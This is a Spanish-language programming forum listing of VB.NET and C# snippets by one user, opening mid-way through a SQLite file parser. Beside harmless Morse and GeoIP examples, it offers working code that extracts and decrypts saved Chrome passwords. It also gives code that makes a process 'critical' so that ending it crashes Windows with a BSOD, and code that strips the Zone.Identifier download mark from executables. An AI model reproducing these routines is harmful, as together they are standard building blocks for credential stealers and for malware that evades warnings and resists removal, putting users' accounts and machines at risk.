                Me.master_table_entries(length + i).row_id = Me.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)), num6)
                num = Convert.ToUInt64(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(num6), New Decimal(num))), Decimal.One))
                endIndex = Me.GVL(CInt(num))
                num6 = endIndex
                Dim num5 As Long = Me.CVL(CInt(num), endIndex)
                Dim numArray As Long() = New Long(4) {}
                Dim index As Integer = 0
                Do
                    endIndex = num6 + 1
                    num6 = Me.GVL(endIndex)
                    numArray(index) = Me.CVL(endIndex, num6)
                    If numArray(index) > 9L Then
                        If Me.IsOdd(numArray(index)) Then
                            numArray(index) = CLng(Math.Round(CDbl(CDbl(numArray(index) - 13L) / 2.0)))
                        Else
                            numArray(index) = CLng(Math.Round(CDbl(CDbl(numArray(index) - 12L) / 2.0)))
                        End If
                    Else
                        numArray(index) = Me.SQLDataTypeSize(CInt(numArray(index)))
                    End If
                    index += 1
                Loop While index <= 4
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                End If
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                End If
                Me.master_table_entries(length + i).root_num = CLng(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2)))), CInt(numArray(3))))
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                End If
            Next
        ElseIf Me.db_bytes(CInt(Offset)) = 5 Then
            Dim num11 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 3D)), 2)), Decimal.One))
            Dim num14 As Integer = num11
            For j As Integer = 0 To num14
                Dim startIndex As UShort = CUShort(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(Offset), 12D), New Decimal(j * 2))), 2))
                If Decimal.Compare(New Decimal(Offset), 100D) = 0 Then
                    Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(startIndex, 4)), Decimal.One), New Decimal(Me.page_size))))
                Else
                    Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(CInt(Offset + startIndex), 4)), Decimal.One), New Decimal(Me.page_size))))
                End If
            Next
            Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 8D)), 4)), Decimal.One), New Decimal(Me.page_size))))
        End If
    End Sub
 
    Public Function ReadTable(TableName As String) As Boolean
        Dim index As Integer = -1
        Dim length As Integer = Me.master_table_entries.Length - 1
        For i As Integer = 0 To length
            If String.Compare(Me.master_table_entries(i).item_name.ToLower(), TableName.ToLower(), StringComparison.Ordinal) = 0 Then
                index = i
                Exit For
            End If
        Next
        If index = -1 Then
            Return False
        End If
        Dim strArray As String() = Me.master_table_entries(index).sql_statement.Substring(Me.master_table_entries(index).sql_statement.IndexOf("(", StringComparison.Ordinal) + 1).Split(New Char() {","c})
        Dim num6 As Integer = strArray.Length - 1
        For j As Integer = 0 To num6
            strArray(j) = (strArray(j)).TrimStart()
            Dim num4 As Integer = strArray(j).IndexOf(" ", StringComparison.Ordinal)
            If num4 > 0 Then
                strArray(j) = strArray(j).Substring(0, num4)
            End If
            If strArray(j).IndexOf("UNIQUE", StringComparison.Ordinal) = 0 Then
                Exit For
            End If
            Me.field_names = DirectCast(Utils.CopyArray(DirectCast(Me.field_names, Array), New String(j) {}), String())
            Me.field_names(j) = strArray(j)
        Next
        Return Me.ReadTableFromOffset(CULng((Me.master_table_entries(index).root_num - 1L) * Me.page_size))
    End Function
 
    Private Function ReadTableFromOffset(offset As ULong) As Boolean
        If Me.db_bytes(CInt(offset)) = 13 Then
            Dim num2 As Integer = Convert.ToInt32(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 3D)), 2)), Decimal.One))
            Dim length As Integer = 0
            If Me.table_entries IsNot Nothing Then
                length = Me.table_entries.Length
                Me.table_entries = DirectCast(Utils.CopyArray(DirectCast(Me.table_entries, Array), New table_entry((Me.table_entries.Length + num2)) {}), table_entry())
            Else
                Me.table_entries = New table_entry(num2) {}
            End If
            Dim num16 As Integer = num2
            For i As Integer = 0 To num16
                Dim _fieldArray As record_header_field() = Nothing
                Dim num As ULong = Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(offset), 8D), New Decimal(i * 2))), 2)
                If Decimal.Compare(New Decimal(offset), 100D) <> 0 Then
                    num += offset
                End If
                Dim endIndex As Integer = Me.GVL(CInt(num))
                Dim num9 As Long = Me.CVL(CInt(num), endIndex)
                Dim num8 As Integer = Me.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)))
                Me.table_entries(length + i).row_id = Me.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)), num8)
                num = Convert.ToUInt64(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(num8), New Decimal(num))), Decimal.One))
                endIndex = Me.GVL(CInt(num))
                num8 = endIndex
                Dim num7 As Long = Me.CVL(CInt(num), endIndex)
                Dim num10 As Long = Convert.ToInt64(Decimal.Add(Decimal.Subtract(New Decimal(num), New Decimal(endIndex)), Decimal.One))
                Dim j As Integer = 0
                While num10 < num7
                    _fieldArray = DirectCast(Utils.CopyArray(DirectCast(_fieldArray, Array), New record_header_field(j) {}), record_header_field())
                    endIndex = num8 + 1
                    num8 = Me.GVL(endIndex)
                    _fieldArray(j).type = Me.CVL(endIndex, num8)
                    If _fieldArray(j).type > 9L Then
                        _fieldArray(j).size = If(Me.IsOdd(_fieldArray(j).type), CLng(Math.Round(CDbl(CDbl(_fieldArray(j).type - 13L) / 2.0))), CLng(Math.Round(CDbl(CDbl(_fieldArray(j).type - 12L) / 2.0))))
                    Else
                        _fieldArray(j).size = Me.SQLDataTypeSize(CInt(_fieldArray(j).type))
                    End If
                    num10 = (num10 + (num8 - endIndex)) + 1L
                    j += 1
                End While
                Me.table_entries(length + i).content = New String((_fieldArray.Length - 1)) {}
                Dim num4 As Integer = 0
                Dim num17 As Integer = _fieldArray.Length - 1
                For k As Integer = 0 To num17
                    If _fieldArray(k).type > 9L Then
                        If Not Me.IsOdd(_fieldArray(k).type) Then
                            If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            End If
                        Else
                            Me.table_entries(length + i).content(k) = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                        End If
                    Else
                        Me.table_entries(length + i).content(k) = Conversions.ToString(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size)))
                    End If
                    num4 += CInt(_fieldArray(k).size)
                Next
            Next
        ElseIf Me.db_bytes(CInt(offset)) = 5 Then
            Dim num14 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 3D)), 2)), Decimal.One))
            Dim num18 As Integer = num14
            For m As Integer = 0 To num18
                Dim num13 As UShort = CUShort(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(offset), 12D), New Decimal(m * 2))), 2))
                Me.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(CInt(offset + num13), 4)), Decimal.One), New Decimal(Me.page_size))))
            Next
            Me.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 8D)), 4)), Decimal.One), New Decimal(Me.page_size))))
        End If
        Return True
    End Function
 
    <StructLayout(LayoutKind.Sequential)>
    Private Structure record_header_field
        Public size As Long
        Public type As Long
    End Structure
 
    <StructLayout(LayoutKind.Sequential)>
    Private Structure sqlite_master_entry
        Public row_id As Long
        Public item_type As String
        Public item_name As String
        Public astable_name As String
        Public root_num As Long
        Public sql_statement As String
    End Structure
 
    <StructLayout(LayoutKind.Sequential)>
    Private Structure table_entry
        Public row_id As Long
        Public content As String()
    End Structure
End Class
 



Descarga del Proyecto Ejemplo: You are not allowed to view links. Register or Login

11
C# - VB.NET / [VB.NET] Morse Encode/Decode
« en: Diciembre 04, 2016, 05:33:10 pm »


Ejemplo de Uso:

Código: (vbnet) You are not allowed to view links. Register or Login
Dim textEnc As String = MorseEncDec.Morse(word:="EXAMPLE MORSE ENCODE DECODE FUNCTION",
                                    mode:=Morse.Mode.Encode)

Dim textDec As String = MorseEncDec.Morse(word:=". -..- .- -- .--. .-.. .  -- --- .-. ... .  . -. -.-. --- -.. .  -.. . -.-. --- -.. .  ..-. ..- -. -.-. - .. --- -.",
                                    mode:=Morse.Mode.Decode)

Código: (vbnet) You are not allowed to view links. Register or Login
Public NotInheritable Class MorseEncDec
    Public Enum Mode As Integer
        [Encode] = 0I
        [Decode] = 1I
    End Enum
    Public Shared Function Morse(ByVal word As String, mode As Mode) As String
        Dim res As String = String.Empty
        Dim dic As Dictionary(Of String, String)
        dic = New Dictionary(Of String, String) From
                    {
                        {"A", ".-"},
                        {"B", "-..."},
                        {"C", "-.-."},
                        {"D", "-.."},
                        {"E", "."},
                        {"F", "..-."},
                        {"G", "--."},
                        {"H", "...."},
                        {"I", ".."},
                        {"J", ".---"},
                        {"K", "-.-"},
                        {"L", ".-.."},
                        {"M", "--"},
                        {"N", "-."},
                        {"Ñ", "--.--"},
                        {"O", "---"},
                        {"P", ".--."},
                        {"Q", "--.-"},
                        {"R", ".-."},
                        {"S", "..."},
                        {"T", "-"},
                        {"U", "..-"},
                        {"V", "...-"},
                        {"W", ".--"},
                        {"X", "-..-"},
                        {"Y", "-.--"},
                        {"Z", "--.."},
                        {"Ä", ".-.-"},
                        {"Ö", "---."},
                        {"Ü", "..--"},
                        {" ", ""},
                        {"0", "-----"},
                        {"1", ".----"},
                        {"2", "..---"},
                        {"3", "...--"},
                        {"4", "....-"},
                        {"5", "....."},
                        {"6", "-...."},
                        {"7", "--..."},
                        {"8", "---.."},
                        {"9", "----."},
                        {".", ".-.-.-"},
                        {",", "--..--"},
                        {"?", "..--.."},
                        {"!", "..--."},
                        {":", "---..."},
                        {"""", ".-..-."},
                        {"'", ".----."},
                        {"-", "-....-"},
                        {"=", "-...-"}
                    }
        Select Case mode
            Case Mode.Encode
                Dim arrWord As IEnumerable(Of Char) = word.ToUpper().ToCharArray()
                Return ((From mStr In arrWord Where dic.ContainsKey(mStr)).Aggregate(res, Function(x, mStr) String.Format("{0} {1}", x, dic.Item(mStr)))).Trim()
            Case Mode.Decode
                Return ((From letter In word.Split(" "c) Select dic.Where(Function(pair) pair.Value = letter).Select(Function(pair) pair.Key).FirstOrDefault()).Aggregate(res, Function(x, key) String.Format("{0}{1}", x, key))).Trim()
        End Select
        Return String.Empty
    End Function

End Class

12
C# - VB.NET / [VB.NET] GeoIP basado en Maxmind DB Free
« en: Diciembre 04, 2016, 05:26:24 pm »
Ejemplo de uso de You are not allowed to view links. Register or Login y su base de datos Disponible de manera Gratuita You are not allowed to view links. Register or Login.


Complementos:
  • Las banderas estan disponibles de manera gratuita en: You are not allowed to view links. Register or Login
  • You are not allowed to view links. Register or Login, se puede agregar atraves del administrador de Paquetes NuGet.
Código: You are not allowed to view links. Register or Login
install-package MaxMind.GeoIP2
  • Proyecto Disponible en Github: You are not allowed to view links. Register or Login
  • Proyector Completo:  You are not allowed to view links. Register or Login

13
C# - VB.NET / [VB.NET] ZoneIdentifier Wrapper by fudmario
« en: Diciembre 04, 2016, 05:17:08 pm »
Una simple implementacion para obtener el ZONE.IDENTIFIER(Windows Zone Identifier File) del archivos.

Ejemplo de Uso:

Código: (vbnet) You are not allowed to view links. Register or Login
   Using zi As New ZoneIdentifier("D:\Sample.exe")
            If zi.Zone = UrlZone.Internet Then
                zi.Remove
            End If
   End Using


El Proyecto esta disponible para descargar: You are not allowed to view links. Register or Login


Si solo quieren eliminar el ZoneIdentifier, pueden usar la API:

Código: (vbnet) You are not allowed to view links. Register or Login
<DllImport("kernel32.dll", CharSet:=CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True, SetLastError:=True)>
        Public Shared Function DeleteFile(<MarshalAs(UnmanagedType.LPTStr)> ByVal filepath As String
        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function

Ejemplo de Uso:

Código: (vbnet) You are not allowed to view links. Register or Login
<DllImport("kernel32.dll", CharSet:=CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True, SetLastError:=True)>
        Public Shared Function DeleteFile(<MarshalAs(UnmanagedType.LPTStr)> ByVal filepath As String
        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
Public Function DeleteZoneIdentifier(ByVal filePath As String) As Boolean
       Return DeleteFile(filePath + ":Zone.Identifier")
End Function

14
C# - VB.NET / [VB.NET | C#] ProcessCritical
« en: Diciembre 04, 2016, 05:05:15 pm »
Un ejemplo sencillo para proteger el proceso y generar el BSOD.



Código: (vbnet) You are not allowed to view links. Register or Login
        <DllImport("NTdll.dll", EntryPoint:="RtlSetProcessIsCritical", SetLastError:=True)>
        Public Shared Sub SetCurrentProcessIsCritical(
                      <MarshalAs(UnmanagedType.Bool)> ByVal isCritical As Boolean,
                      <MarshalAs(UnmanagedType.Bool)> ByRef refWasCritical As Boolean,
                      <MarshalAs(UnmanagedType.Bool)> ByVal needSystemCriticalBreaks As Boolean)
        End Sub

Private Sub SetProcessCritical()
Dim refWasCritical As Boolean
System.Diagnostics.Process.EnterDebugMode()
SetCurrentProcessIsCritical(True, refWasCritical, False)
End Sub
Private Sub UnSetProcessCritical()
Dim refWasCritical As Boolean
SetCurrentProcessIsCritical(False, refWasCritical, False)
End Sub

Código: (csharp) You are not allowed to view links. Register or Login
        [DllImport("NTdll.dll", EntryPoint = "RtlSetProcessIsCritical", SetLastError = true)]
        public static extern void SetCurrentProcessIsCritical(
            [MarshalAs(UnmanagedType.Bool)]bool isCritical,
            [MarshalAs(UnmanagedType.Bool)]ref bool refWasCritical,
            [MarshalAs(UnmanagedType.Bool)]bool needSystemCriticalBreaks);

        private void SetProcessCritical()
        {
            bool refWasCritical = false;
            System.Diagnostics.Process.EnterDebugMode();
            SetCurrentProcessIsCritical(true, ref refWasCritical, false);
             
        }

        private void UnSetProcessCritical()
        {
            bool refWasCritical = false;
            SetCurrentProcessIsCritical(false, ref refWasCritical, false);
             
        }

15
C# - VB.NET / [VB.NET] Chrome Password Viewer
« en: Diciembre 04, 2016, 04:56:51 pm »
Chrome Test: Versión 54.0.2840.99 m (64-bit)



Se necesita de la Clase SqliteHandler, la pueden copiar de You are not allowed to view links. Register or Login

Código: (vbnet) You are not allowed to view links. Register or Login
'Ruta del archivo con la contraseña.
 Dim loginPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\Chrome\User Data\Default\Login Data")
Dim sb As New StringBuilder
Dim sqlDataBase As New SqLiteHandler(loginPath)
      sqlDataBase.ReadTable("logins")
Dim count As Integer = sqlDataBase.GetRowCount()
For i = 0 To count - 1
                Dim mUrl As String = sqlDataBase.GetValue(i, "origin_url")
                Dim mUserName As String = sqlDataBase.GetValue(i, "username_value")
                Dim mPassword As String = Decode(sqlDataBase.GetValue(i, "password_value"))
                sb.AppendLine("User: " & mUserName)
                sb.AppendLine("Url: " & mUrl)
                sb.AppendLine("Password: " & mPassword)
Next i

Messagebox.Show(sb.ToString)

Para decifrar las contraseñas, agregar Referencias a: System.Security e Importar: System.Security.Cryptography
Código: (vbnet) You are not allowed to view links. Register or Login
    Private Function Decode(ByVal data As String) As String
        If String.IsNullOrEmpty(data) Then
            Return String.Empty
        Else
            Dim encryptedData As Byte() = Encoding.Default.GetBytes(data)
            Dim decryptedData As Byte() = ProtectedData.Unprotect(encryptedData, Nothing, DataProtectionScope.CurrentUser)
            Return Encoding.UTF8.GetString(decryptedData)
        End If
    End Function

Código: (vbnet) You are not allowed to view links. Register or Login
' ***********************************************************************
' Assembly         : SQLiteHandler
' Author           : ??????
' Created          : ??-??-????
'' ***********************************************************************

Imports System.IO
Imports System.Runtime.InteropServices
Imports Microsoft.VisualBasic.CompilerServices
Public Class SqLiteHandler
    Private db_bytes As Byte()
    Private mEncoding As ULong
    Private field_names As String()
    Private master_table_entries As sqlite_master_entry()
    Private page_size As UShort
    Private SQLDataTypeSize As Byte() = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0}
    Private table_entries As table_entry()

    Public Sub New(baseName As String)
        If File.Exists(baseName) Then
            FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.[Shared], -1)
            Dim str As String = Strings.Space(CInt(FileSystem.LOF(1)))
            FileSystem.FileGet(1, str, -1L, False)
            FileSystem.FileClose(New Integer() {1})
            Me.db_bytes = System.Text.Encoding.Default.GetBytes(str)
            If String.Compare(System.Text.Encoding.Default.GetString(Me.db_bytes, 0, 15), "SQLite format 3", StringComparison.Ordinal) <> 0 Then
                Throw New Exception("Not a valid SQLite 3 Database File")
            End If
            If Me.db_bytes(&H34) <> 0 Then
                Throw New Exception("Auto-vacuum capable database is not supported")
            End If
            Me.page_size = CUShort(Me.ConvertToInteger(&H10, 2))
            Me.mEncoding = Me.ConvertToInteger(&H38, 4)
            If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.Zero) = 0 Then
                Me.mEncoding = 1L
            End If
            Me.ReadMasterTable(100L)
        End If
    End Sub

    Private Function ConvertToInteger(startIndex As Integer, Size As Integer) As ULong
        If (Size > 8) Or (Size = 0) Then
            Return 0L
        End If
        Dim num2 As ULong = 0L
        Dim num4 As Integer = Size - 1
        For i As Integer = 0 To num4
            num2 = (num2 << 8) Or Me.db_bytes(startIndex + i)
        Next
        Return num2
    End Function

    Private Function CVL(startIndex As Integer, endIndex As Integer) As Long
        endIndex += 1
        Dim buffer As Byte() = New Byte(7) {}
        Dim num4 As Integer = endIndex - startIndex
        Dim flag As Boolean = False
        If (num4 = 0) Or (num4 > 9) Then
            Return 0L
        End If
        If num4 = 1 Then
            buffer(0) = CByte(Me.db_bytes(startIndex) And &H7F)
            Return BitConverter.ToInt64(buffer, 0)
        End If
        If num4 = 9 Then
            flag = True
        End If
        Dim num2 As Integer = 1
        Dim num3 As Integer = 7
        Dim index As Integer = 0
        If flag Then
            buffer(0) = Me.db_bytes(endIndex - 1)
            endIndex -= 1
            index = 1
        End If
        Dim num7 As Integer = startIndex
        Dim i As Integer = endIndex - 1
        While i >= num7
            If (i - 1) >= startIndex Then
                buffer(index) = CByte((CByte(Me.db_bytes(i) >> ((num2 - 1) And 7)) And (CInt(&HFF) >> num2)) Or CByte(Me.db_bytes(i - 1) << (num3 And 7)))
                num2 += 1
                index += 1
                num3 -= 1
            ElseIf Not flag Then
                buffer(index) = CByte(CByte(Me.db_bytes(i) >> ((num2 - 1) And 7)) And (CInt(&HFF) >> num2))
            End If
            i += -1
        End While
        Return BitConverter.ToInt64(buffer, 0)
    End Function

    Public Function GetRowCount() As Integer
        Return Me.table_entries.Length
    End Function

    Public Function GetTableNames() As String()
        Dim strArray2 As String() = Nothing
        Dim index As Integer = 0
        Dim num3 As Integer = Me.master_table_entries.Length - 1
        For i As Integer = 0 To num3
            If Me.master_table_entries(i).item_type = "table" Then
                strArray2 = DirectCast(Utils.CopyArray(DirectCast(strArray2, Array), New String(index) {}), String())
                strArray2(index) = Me.master_table_entries(i).item_name
                index += 1
            End If
        Next
        Return strArray2
    End Function

    Public Function GetValue(row_num As Integer, field As Integer) As String
        If row_num >= Me.table_entries.Length Then
            Return Nothing
        End If
        If field >= Me.table_entries(row_num).content.Length Then
            Return Nothing
        End If
        Return Me.table_entries(row_num).content(field)
    End Function

    Public Function GetValue(row_num As Integer, field As String) As String
        Dim num As Integer = -1
        Dim length As Integer = Me.field_names.Length - 1
        For i As Integer = 0 To length
            If Me.field_names(i).ToLower().CompareTo(field.ToLower()) = 0 Then
                num = i
                Exit For
            End If
        Next
        If num = -1 Then
            Return Nothing
        End If
        Return Me.GetValue(row_num, num)
    End Function

    Private Function GVL(startIndex As Integer) As Integer
        If startIndex > Me.db_bytes.Length Then
            Return 0
        End If
        Dim num3 As Integer = startIndex + 8
        For i As Integer = startIndex To num3
            If i > (Me.db_bytes.Length - 1) Then
                Return 0
            End If
            If (Me.db_bytes(i) And &H80) <> &H80 Then
                Return i
            End If
        Next
        Return (startIndex + 8)
    End Function

    Private Function IsOdd(value As Long) As Boolean
        Return ((value And 1L) = 1L)
    End Function

    Private Sub ReadMasterTable(Offset As ULong)
        If Me.db_bytes(CInt(Offset)) = 13 Then
            Dim num2 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 3D)), 2)), Decimal.One))
            Dim length As Integer = 0
            If Me.master_table_entries IsNot Nothing Then
                length = Me.master_table_entries.Length
                Me.master_table_entries = DirectCast(Utils.CopyArray(DirectCast(Me.master_table_entries, Array), New sqlite_master_entry((Me.master_table_entries.Length + num2)) {}), sqlite_master_entry())
            Else
                Me.master_table_entries = New sqlite_master_entry(num2) {}
            End If
            Dim num13 As Integer = num2
            For i As Integer = 0 To num13
                Dim num As ULong = Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(Offset), 8D), New Decimal(i * 2))), 2)
                If Decimal.Compare(New Decimal(Offset), 100D) <> 0 Then
                    num += Offset
                End If
                Dim endIndex As Integer = Me.GVL(CInt(num))
                Dim num7 As Long = Me.CVL(CInt(num), endIndex)
                Dim num6 As Integer = Me.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)))
                Me.master_table_entries(length + i).row_id = Me.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)), num6)
                num = Convert.ToUInt64(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(num6), New Decimal(num))), Decimal.One))
                endIndex = Me.GVL(CInt(num))
                num6 = endIndex
                Dim num5 As Long = Me.CVL(CInt(num), endIndex)
                Dim numArray As Long() = New Long(4) {}
                Dim index As Integer = 0
                Do
                    endIndex = num6 + 1
                    num6 = Me.GVL(endIndex)
                    numArray(index) = Me.CVL(endIndex, num6)
                    If numArray(index) > 9L Then
                        If Me.IsOdd(numArray(index)) Then
                            numArray(index) = CLng(Math.Round(CDbl(CDbl(numArray(index) - 13L) / 2.0)))
                        Else
                            numArray(index) = CLng(Math.Round(CDbl(CDbl(numArray(index) - 12L) / 2.0)))
                        End If
                    Else
                        numArray(index) = Me.SQLDataTypeSize(CInt(numArray(index)))
                    End If
                    index += 1
                Loop While index <= 4
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(New Decimal(num), New Decimal(num5))), CInt(numArray(0)))
                End If
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0)))), CInt(numArray(1)))
                End If
                Me.master_table_entries(length + i).root_num = CLng(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2)))), CInt(numArray(3))))
                If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
